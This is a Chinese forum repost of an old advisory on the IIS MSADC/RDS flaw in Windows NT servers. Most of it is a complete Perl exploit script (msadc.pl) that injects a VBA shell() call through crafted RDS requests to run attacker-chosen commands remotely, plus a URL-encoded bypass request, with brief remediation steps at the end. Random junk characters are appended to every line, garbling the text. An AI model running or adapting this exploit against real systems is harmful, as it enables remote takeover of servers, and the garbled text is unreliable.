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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Qy9_tvq X  
 wp~}1]g  
涉及程序: 4Y?fbb<  
Microsoft NT server &~eCDlX /  
7NJl+*u  
描述: d>Tv?'o`q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \8#[AD*@s2  
IS8 sJ6")  
详细: V~PGmn[V  
如果你没有时间读详细内容的话,就删除: :NLY;B`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll l'l&Zqd  
有关的安全问题就没有了。 ?u2\ *@C  
F(1E@xs  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 S<(i/5Z+  
p{oz}}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 oJM; CN  
关于利用ODBC远程漏洞的描述,请参看: H^Pq[3NQ  
7s%D(;W_Mo  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm N]yT/8  
;jxX/c  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ~0CNCP  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [`tOhL  
"L5w]6C4  
这里不再论述。 Vw ;iE=L  
O=}w1]  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: G9x l-ag+z  
$-DW+|p.?^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset JRBz/ j  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ty!DMg#  
hg12NzbK  
QH><! sa  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !ldE9 .  
_9D]1f=&  
#!perl Rm3W&hQ  
# $Ud9v4  
# MSADC/RDS 'usage' (aka exploit) script -0a3eg)Z*  
# ;PVE= z+y  
# by rain.forest.puppy @j\;9>I/  
# /7B3z}rd  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me #}.{|'L  
# beta test and find errors! )2"WC\%  
dDiy_Q6  
use Socket; use Getopt::Std; /E/6(c  
getopts("e:vd:h:XR", \%args); 6!)hl"  
8;~,jZ s  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )%/ Ni^  
j^/<:e c.  
if (!defined $args{h} && !defined $args{R}) { f`vWCb  
print qq~ }#Up:o]A!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } n{|j#j  
-h <host> = host you want to scan (ip or domain) yo5-x"ze  
-d <seconds> = delay between calls, default 1 second /p;OZf]  
-X = dump Index Server path table, if available 4Tuh]5  
-v = verbose k'.cl^6Z8  
-e = external dictionary file for step 5 bPV}T`  
a@|`!<5  
Or a -R will resume a command session tZ) ,Z<  
DFfh!KKR$  
~; exit;} x15&U\U  
eOVln1a  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; c&#Q`m  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} s'/_0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /hg^hF  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); J}Z\I Y,  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} uYFy4E3  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } JWu0VLo  
0(5qVJ12  
if (!defined $args{R}){ $ret = &has_msadc; 3#fg 2  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 5a6d3u/  
{2xc/   
print "Please type the NT commandline you want to run (cmd /c assumed):\n" e}gGl<((g  
. "cmd /c "; (CDh,ZN;|  
$in=<STDIN>; chomp $in; REc90v2"  
$command="cmd /c " . $in ; Aa-OMo;~  
Gf7r!Ur;g  
if (defined $args{R}) {&load; exit;} oeVI 6-_S  
0<-A2O),  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 'D+njxCk.A  
&try_btcustmr; $XyDw|z[  
s Wj:m)  
print "\nStep 2: Trying to make our own DSN..."; {o'(_.{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]q #"8 =  
CC6]AM(i  
print "\nStep 3: Trying known DSNs..."; 3kr. 'O  
&known_dsn; "V:RKH`  
/.mx\_$   
print "\nStep 4: Trying known .mdbs..."; abe5 As r  
&known_mdb; ME*zMLoF+  
Ng&K5Z/  
if (defined $args{e}){ &mJm'Ks  
print "\nStep 5: Trying dictionary of DSN names...";  1A]   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } _B&;z $  
rJ4A9d3:  
print "Sorry Charley...maybe next time?\n"; EwfL.z  
exit; M%13b$i~f  
J"eE9FLM  
############################################################################## 0CeBU(U+|R  
NljcHe}Qy  
sub sendraw { # ripped and modded from whisker !{r@ H+Kf  
sleep($delay); # it's a DoS on the server! At least on mine... @ uL4'@Ej  
my ($pstr)=@_; Rs]Y/9F;{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )x,-O#"A  
die("Socket problems\n"); 5p.#nc!;y  
if(connect(S,pack "SnA4x8",2,80,$target)){ )\e0L/K@  
select(S); $|=1; LK|rLoia:  
print $pstr; my @in=<S>; >U:.5Tch'V  
select(STDOUT); close(S); bT:;^eG"  
return @in; *6(/5V  
} else { die("Can't connect...\n"); }} [ { F;4> g  
V[* <^%  
############################################################################## ~c,+)69"T  
RLVz"=  
sub make_header { # make the HTTP request hs)_h^P   
my $msadc=<<EOT +nFC&~q  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 of_Om$  
User-Agent: ACTIVEDATA 5'rP-z~ u  
Host: $ip P1qnU  
Content-Length: $clen AhV V  
Connection: Keep-Alive P#KT lH  
N@? z&urQi  
ADCClientVersion:01.06 R"`<ZY6(Ou  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 0$R}_Ok  
Nk\/lK\  
--!ADM!ROX!YOUR!WORLD! xCU pMB7  
Content-Type: application/x-varg ?D M!=.]  
Content-Length: $reqlen |dqAT.  
K}dvXO@=|c  
EOT C%P"\>5@  
; $msadc=~s/\n/\r\n/g; x*_'uPo S  
return $msadc;} r[nvgzv@  
O3L:v{Kn  
############################################################################## ];{CNDAL2  
K{G\=yJ((  
sub make_req { # make the RDS request d?GB#N|+g  
my ($switch, $p1, $p2)=@_; Eye.#~  
my $req=""; my $t1, $t2, $query, $dsn; d r=h;[Q'  
.gwT?O,  
if ($switch==1){ # this is the btcustmr.mdb query om0g'Qa  
$query="Select * from Customers where City=" . make_shell(); OYIH**?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . H3 |x  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .Nd_p{   
$0 ~_)$i :  
elsif ($switch==2){ # this is general make table query &~N@M!`Dn  
$query="create table AZZ (B int, C varchar(10))"; kSqMI'89  
$dsn="$p1";} UTxqqcqEny  
,h9N,bIQg  
elsif ($switch==3){ # this is general exploit table query )O6_9f_  
$query="select * from AZZ where C=" . make_shell(); eBl B0P  
$dsn="$p1";} <`=(Ui$fD  
O&PrO+&  
elsif ($switch==4){ # attempt to hork file info from index server Z-'xJq  
$query="select path from scope()"; "&TN}SBW  
$dsn="Provider=MSIDXS;";} wn>?r ?KIB  
{dNWQE*\c  
elsif ($switch==5){ # bad query )WF*fcx{  
$query="select"; S4>1d-  
$dsn="$p1";} K1|xatx1V  
}ILg_>uq[  
$t1= make_unicode($query); $s9YU"  
$t2= make_unicode($dsn); :}~B;s0M\  
$req = "\x02\x00\x03\x00"; [G}l;  
$req.= "\x08\x00" . pack ("S1", length($t1)); D]5cijO6  
$req.= "\x00\x00" . $t1 ; R|t.J oP9  
$req.= "\x08\x00" . pack ("S1", length($t2)); II}3w#r4  
$req.= "\x00\x00" . $t2 ; +Ft@S(IE  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; cY%6+uJ1  
return $req;} =8 Jq'-da  
/HM 0p  
############################################################################## OYk/K70l3  
05[k@f$n  
sub make_shell { # this makes the shell() statement ,=t}|!jx  
return "'|shell(\"$command\")|'";} mRD'@n  
_*dUH5  
############################################################################## >}!})]Xw9  
j |:{ B  
sub make_unicode { # quick little function to convert to unicode =7%c*O <  
my ($in)=@_; my $out; j?oh~7Ki  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } y/6%'56uF  
return $out;} s% (|z  
`&)uuLn|  
############################################################################## 5| bc*iqU  
Q$=X ?{  
sub rdo_success { # checks for RDO return success (this is kludge) $n9Bp'<  
my (@in) = @_; my $base=content_start(@in); {-e|x&-  
if($in[$base]=~/multipart\/mixed/){ ~g|z7o  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \~@a/J  
return 0;} {);<2]o| 6  
~e<h2/Xc  
##############################################################################  C\5"Kb  
:x@j)&  
sub make_dsn { # this makes a DSN for us ZE0D=  
my @drives=("c","d","e","f"); =MokbK2  
print "\nMaking DSN: "; GMYfcZ/,K  
foreach $drive (@drives) { 3Ay<2v  
print "$drive: "; -|3feYb'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . EPGp8VGXp~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +G?nmXG[vj  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); tG(!d$^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )U u! x6  
return 0 if $2 eq "404"; # not found/doesn't exist z(_#C s  
if($2 eq "200") { 0fQMOTpOp  
foreach $line (@results) { J^<}fRw  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?CUGJT  
} return 0;} Tn 3<cO7v  
qK12:  
############################################################################## je^=gnq  
$Z{Xt*  
sub verify_exists { 9w( Wtw'  
my ($page)=@_; 3YOYlb %j  
my @results=sendraw("GET $page HTTP/1.0\n\n"); T9O3$1eqfo  
return $results[0];} L<M H:  
Jde@T h  
############################################################################## K&>+<bJ_  
}  cQ` L  
sub try_btcustmr { %cFqD &6  
my @drives=("c","d","e","f"); O7D61~G]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ntt:>j$  
gj-MkeI)  
foreach $dir (@dirs) { sAfNu~d  
print "$dir -> "; # fun status so you can see progress "YePd * W  
foreach $drive (@drives) { kB $?A8Olu  
print "$drive: "; # ditto &3%V%_  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; MY" 8!  
$reqlenlen=length( "$reqlen" ); eg Zb)pP  
$clen= 206 + $reqlenlen + $reqlen; [,As;a*o  
LP- _i}Kq  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); /D&7 \3}  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 68-2EWq  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} l#k&&rI5x.  
'n4$dv% q  
############################################################################## X4Y!Z/b  
}0z]sYI  
sub odbc_error { t }q \.  
my (@in)=@_; my $base; kKEs >a  
my $base = content_start(@in); s2ixiv=  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this On4tK\l @  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; TIre,s)_  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Tkf JC|6  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k@/s-^ry3  
return $in[$base+4].$in[$base+5].$in[$base+6];} eY#_!{*Wn  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; X6<%SJC  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . *wD| e K7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} xY94v  
r\DA&b  
############################################################################## /yNLFL"  
=UMqa;\K  
sub verbose { 0s'H(qE,_  
my ($in)=@_; o/5loV3h  
return if !$verbose; 1&Ruz[F5  
print STDOUT "\n$in\n";} sbV {RSl  
l0-zu6i w  
############################################################################## mel(C1b"j/  
}6!*H!  
sub save { 40)Ti  
my ($p1, $p2, $p3, $p4)=@_; iX\]-_D  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Qy_! +q  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; b!3Y<D*  
close OUT;} {Jn*{5tZ>  
A4`3yy{0-  
############################################################################## \GEf,%U<K  
^7>k:|7-t  
sub load { IMtfi(Y%F  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *N!>c&8  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ?3|jB?:k  
@p=<IN>; close(IN); I` +%ab  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); qGrUS_~q*  
$target= inet_aton($ip) || die("inet_aton problems"); s%l`XW;v  
print "Resuming to $ip ..."; ?KMGk]_<  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1sN >U<  
if($p[1]==1) { (D1$&  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; moT*r?l  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; k;c>=B)e  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^I]A@YNni  
if (rdo_success(@results)){print "Success!\n";} %e|.a)78  
else { print "failed\n"; verbose(odbc_error(@results));}} )$oboAv#  
elsif ($p[1]==3){ .tH[A[/1 a  
if(run_query("$p[3]")){ T\b-<Xle  
print "Success!\n";} else { print "failed\n"; }} lbUUf}   
elsif ($p[1]==4){ nOj0"c  
if(run_query($drvst . "$p[3]")){ (+lCh7.  
print "Success!\n"; } else { print "failed\n"; }} ('Doy1L  
exit;} '&42E[0P  
K! I]0!:  
############################################################################## `@)>5gW&p  
9~ JeI/  
sub create_table { E/IoYuB  
my ($in)=@_; +xG  
$reqlen=length( make_req(2,$in,"") ) - 28; ])3(@.  
$reqlenlen=length( "$reqlen" ); lPO +dm  
$clen= 206 + $reqlenlen + $reqlen; |];f?1  
my @results=sendraw(make_header() . make_req(2,$in,"")); vn Ol-`Z ~  
return 1 if rdo_success(@results); W34_@,GD  
my $temp= odbc_error(@results); verbose($temp); .&2Nm&y$ K  
return 1 if $temp=~/Table 'AZZ' already exists/; .5K}R<  
return 0;} 5nSi29C  
x}B_;&>&"_  
############################################################################## ll8Zo+-[  
E@%9u#  
sub known_dsn { Tw+V$:$$  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go tX@G`Mr(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", R7Z7o4jg  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", }I>h<O  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); b^q8s4(   
i}E&mv'  
foreach $dSn (@dsns) { 3Eu;_u_  
print "."; $l+DkR+  
next if (!is_access("DSN=$dSn")); 3]cW08"c  
if(create_table("DSN=$dSn")){ OuuN~yC  
print "$dSn successful\n"; o~J~-$T{  
if(run_query("DSN=$dSn")){ q88;{?T1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {Ne5*HFV  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _(1Shm  
HBp$   
############################################################################## :N>n1tHL;A  
zPn 2  
sub is_access { k=M_2T'  
my ($in)=@_; QuWW a|g^.  
$reqlen=length( make_req(5,$in,"") ) - 28; R?L? 6~/q  
$reqlenlen=length( "$reqlen" ); 7+;$_,Xo<  
$clen= 206 + $reqlenlen + $reqlen; @:%p#$V  
my @results=sendraw(make_header() . make_req(5,$in,"")); ![H{ndH!Q  
my $temp= odbc_error(@results); _ISaO C{2-  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R+b~m!5 8  
return 0;} #WqpU.  
5R}K8"d  
############################################################################## 'Tbdo >y  
T;`2t;  
sub run_query { ScCA8JgY  
my ($in)=@_; G%FLt[  
$reqlen=length( make_req(3,$in,"") ) - 28; Y7_2pGvZ  
$reqlenlen=length( "$reqlen" ); U *K6FWqiB  
$clen= 206 + $reqlenlen + $reqlen; VAnP3:  
my @results=sendraw(make_header() . make_req(3,$in,"")); > Sc/E}3  
return 1 if rdo_success(@results); "%E<%g  
my $temp= odbc_error(@results); verbose($temp); UEeq@ot/4  
return 0;} s9aa _Th  
XT` 2Z=  
############################################################################## M,we9];N  
+L U.QI'  
sub known_mdb { -Wm'@4bH  
my @drives=("c","d","e","f","g"); ]TX"BH"2  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3)0z(30  
my $dir, $drive, $mdb; gUWW}*\ U  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~`c(7  
T:=ST3#m  
# this is sparse, because I don't know of many #ni:Bwtl{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", G5,g$yNs  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ] =*G[  
"\\system32\\certmdb.mdb", wT>~7$=L{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -,a@bF:  
1<;RI?R[9  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", {baG2Fe1`b  
"\\cfusion\\cfapps\\forums\\forums_.mdb", X`Jo XNqm  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", NE5H\  
"\\cfusion\\cfapps\\security\\realm_.mdb", Z66h  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  "[ #.  
"\\cfusion\\database\\cfexamples.mdb", cJLAP%.L  
"\\cfusion\\database\\cfsnippets.mdb", =Vat2'>+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", /mG-g%gE  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", %n@ ^$&,&;  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Y?#aUQc  
"\\cfusion\\database\\smpolicy.mdb", x^~@`]TV^  
"\\cfusion\\database\cypress.mdb", 8.ej65r*   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?A]/ M~3B  
"\\website\\cgi-win\\dbsample.mdb", $w+()iI  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", k3CHv=U{  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" !%Bhg?  
); #these are just RaC8Sq7hW  
foreach $drive (@drives) { *4OB 88$  
foreach $dir (@dirs){ h$l`)AH^  
foreach $mdb (@sysmdbs) { 76(/(v.x  
print "."; !x[].Urj  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K,5_{pj  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ?M B Od9  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ AwtiV-w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; u9u'!hAGH  
} else { print "Something's borked. Use verbose next time\n"; }}}}} V>(>wSR  
WX4 f3Um  
foreach $drive (@drives) { k7kPeq  
foreach $mdb (@mdbs) { }uiD8b{I  
print "."; au#/Q  
if(create_table($drv . $drive . $dir . $mdb)){ a[=;6!  
print "\n" . $drive . $dir . $mdb . " successful\n"; }fZ~HqS2w  
if(run_query($drv . $drive . $dir . $mdb)){ P!u0_6  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g&r3 ;  
} else { print "Something's borked. Use verbose next time\n"; }}}} K^e4w`F|  
} ^GnR1.ux  
IC:>60A,]  
############################################################################## uNf97*~_  
V='A;gs  
sub hork_idx { 45Lzq6  
print "\nAttempting to dump Index Server tables...\n"; oq9gFJG(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &G)/i*  
$reqlen=length( make_req(4,"","") ) - 28; nSp OTQ  
$reqlenlen=length( "$reqlen" ); V;d<S@$  
$clen= 206 + $reqlenlen + $reqlen; U8OVn(qV  
my @results=sendraw2(make_header() . make_req(4,"","")); $CDRIn50  
if (rdo_success(@results)){ nhy:5eSK  
my $max=@results; my $c; my %d; #H;1)G(/  
for($c=19; $c<$max; $c++){ m+QZ|  
$results[$c]=~s/\x00//g; cJ#n<Rsz  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; *r)dtI*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; I{i6e'.jP  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }poLH S/  
$d{"$1$2"}="";} 1vinO!  
foreach $c (keys %d){ print "$c\n"; } GG %*d]  
} else {print "Index server doesn't seem to be installed.\n"; }} ^G14Z5.  
<9]J/w+  
############################################################################## eCjyx|:J  
[&sabM`Ul  
sub dsn_dict { Ys]cJ]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); fyEXnmB;  
while(<IN>){ 89UR w9  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; {~`{bnx^]7  
next if (!is_access("DSN=$dSn")); qRL45[ K  
if(create_table("DSN=$dSn")){ |]eWO#vs  
print "$dSn successful\n"; >{[  
if(run_query("DSN=$dSn")){  Y-+JDrK  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z5eM  
print "Something's borked. Use verbose next time\n";}}} DfX~}km  
print "\n"; close(IN);} y#FFxSH>  
%-<6Z9otc  
############################################################################## rP IAu[],g  
Kf#iF*  
sub sendraw2 { # ripped and modded from whisker X*M2 O%g`L  
sleep($delay); # it's a DoS on the server! At least on mine... {Ga=; 0  
my ($pstr)=@_; nd"$gi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,V[|c$  
die("Socket problems\n"); 5DJ!:QY!  
if(connect(S,pack "SnA4x8",2,80,$target)){ hcoZ5!LvT  
print "Connected. Getting data"; ?Kg_bvoR  
open(OUT,">raw.out"); my @in; xAr&sGMA  
select(S); $|=1; print $pstr; )JhB!P(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} R-tZC9 @  
close(OUT); select(STDOUT); close(S); return @in; z.;!Pj  
} else { die("Can't connect...\n"); }} r<B pX["  
&q +l5L"  
############################################################################## C=t9P#g*.  
O*yA50Cn  
sub content_start { # this will take in the server headers h0")NBRV&  
my (@in)=@_; my $c; pGr4b:N  
for ($c=1;$c<500;$c++) { ,I H~  
if($in[$c] =~/^\x0d\x0a/){ vCUbbQz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 7n*"9Ai(  
else { return $c+1; }}} G4ycP8  
return -1;} # it should never get here actually nF]zd%h  
Bm;: cmB0e  
############################################################################## 9W&nAr  
tB VtIOm9  
sub funky { Bm  4$  
my (@in)=@_; my $error=odbc_error(@in); 3|%058bF  
if($error=~/ADO could not find the specified provider/){ sF3@7~m4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (9b%'@A@m  
exit;} Js^(mRv=  
if($error=~/A Handler is required/){ S R s  
print "\nServer has custom handler filters (they most likely are patched)\n"; izu_1X  
exit;} ^91Ae!)d  
if($error=~/specified Handler has denied Access/){ UG3}|\.u  
print "\nServer has custom handler filters (they most likely are patched)\n"; e ^ZY  
exit;}} Rh%@N.Z*  
N*+WGsxl$z  
############################################################################## S~)_=4Z  
|l@z7R+4*  
sub has_msadc { 3R)|DGql=1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); GI>(S  
my $base=content_start(@results); X^rFRk  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); + Y!:@d  
return 0;} S VypR LVB  
pG22Nx  
######################## F$i 6  
x~F YG  
p_vl dTIW  
解决方案: ">Ms V/  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll f4VdH#eng`  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 cP\ZeG#<  
U.h2 (-p  
拿出来充数 哈哈
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